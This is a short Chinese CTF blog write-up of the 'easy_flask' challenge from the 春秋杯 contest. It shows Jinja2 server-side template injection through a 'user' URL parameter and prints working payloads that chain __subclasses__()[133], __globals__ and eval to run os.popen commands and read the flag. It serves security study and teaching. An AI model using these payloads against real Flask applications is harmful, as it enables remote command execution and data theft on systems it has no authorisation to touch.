春秋杯
只看了一道题,后面比赛结束了没得浮现环境了做不了了,所以只写了一道题的wp
easy_flask
那两个链接没什么用,登录进去后对着url中user参数进行ssti注入就可以
这样就可以看出是存在ssti了
1 | 第一步,拿到当前类,也就是用__class__ |
大多数利用的是os._wrap_close
这个类,可以执行命令,但是需要注意的是,这个类是python的标准库,所以需要在python环境下运行。
所以我们搜索一下这个类,然后看看这个类的下标
然后我们搜索逗号确定这个类的下标
然后我们来利用这个类
首先先调用它的__init__方法进行初始化类
1 | {{"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__}} |
通过利用popen去执行命令
1 | {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
然后看到flag了
跟进拿flag就可以
讲一下我们的思路
一开始是通过class通过 base 拿到object基类,接着利用 subclasses() 获取对应子类。在全部子类中找到被重载的类即为可用的类,然后通过init去获取globals全局变量,接着通过builtins获取eval函数,最后利用popen命令执行、read()读取即可。
这道题还是相对来说简单很多,一点过滤都没有
简单算术
放到CyberChef中一把梭
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 root@wanth3f1ag!